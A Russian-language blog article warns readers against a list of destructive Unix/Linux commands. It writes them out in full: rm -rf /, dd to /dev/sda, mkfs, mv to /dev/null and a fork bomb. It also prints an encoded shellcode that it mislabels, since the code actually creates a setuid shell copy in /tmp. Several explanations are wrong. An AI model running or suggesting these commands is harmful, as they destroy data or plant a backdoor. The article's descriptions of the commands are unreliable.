
Команды которые не стоит выполнять в Unix/Linux
В этой статье «Команды которые не стоит выполнять в Unix/Linux» я буду собирать все команды, которые никогда не нужно выполнять в Unix/Linux. Любая из них перечисленных команд ниже может привести к потере или повреждению данных, а так же может привести к зависанию работы ОС.
НИКОГДА НЕ ЗАПУСКАЙТЕ ЭТИ КОМАНДЫ В консоле UNIX/LINUX! Даже если кто-то советует вам на форуме.
Для не опытного пользователя — это может стать причиной падения серверов и больших проблем. Всегда будьте внимательны и если не знаете, переспросите у кого-то. Сейчас я представлю основные команды, которые могут нанести очень большой вред ОС и серверу и по мере поступления материала, буду добавлять еще.
1. Любая из этих команд сотрет все с вашего домашнего каталога, /root/ или просто прояснится пустой диск:
$ sudo rm -rf /
Данная команда отформатирует вашу корневую папку «/».
Или:
rm -rf .*
Данная команда удалит все файлы, даже те которые имеют расширения «*.*».
А так же:
dd if=/dev/zero of=/dev/sda
Команда, вызовет функцию «zero» — это функция для форматирования. Она отформатирует весь раздел /dev/sda.
Можно еще так стереть диск:
# mkfs.ext3 /dev/hda
Утилита ext3 отформатирует раздел /dev/hda в файловую систему ext3.
А так же, еще один из вариантов:
# whatever > /dev/hda
И так же:
# find -type f -mtime +30 -exec mv {} /dev/null \;
Ну и еще веселый вариант:
# mv ~ /dev/null
Или:
# mv / /dev/null
2. Вызывает панику ядра «kernel panic» или зависает окно в Linux:
dd if=/dev/random of=/dev/port :( ){:|:&};:
3. Это делает то же самое что и «rm -rf /»:
char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68" \ "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99" \ "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7" \ "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56" \ "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31" \ "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69" \ "\x6e\x2f\x73\x68\x00\x2d\x63\x00" \ "cp -p /bin/sh /tmp/.beyond; chmod 4755 \ /tmp/.beyond;";
PS: Не проверялось!
4. Этот позволит вам выполнять команды с правами суперпользователя:
# rm -f /usr/bin/sudo;rm -f /bin/su
PS: если кто-то знает еще и другие команды которые наносят вред ОС, напишите в комментариях и я добавлю в эту статью. Спасибо!
На этом, у меня все, тема «Команды которые не стоит выполнять в Unix/Linux» завершена.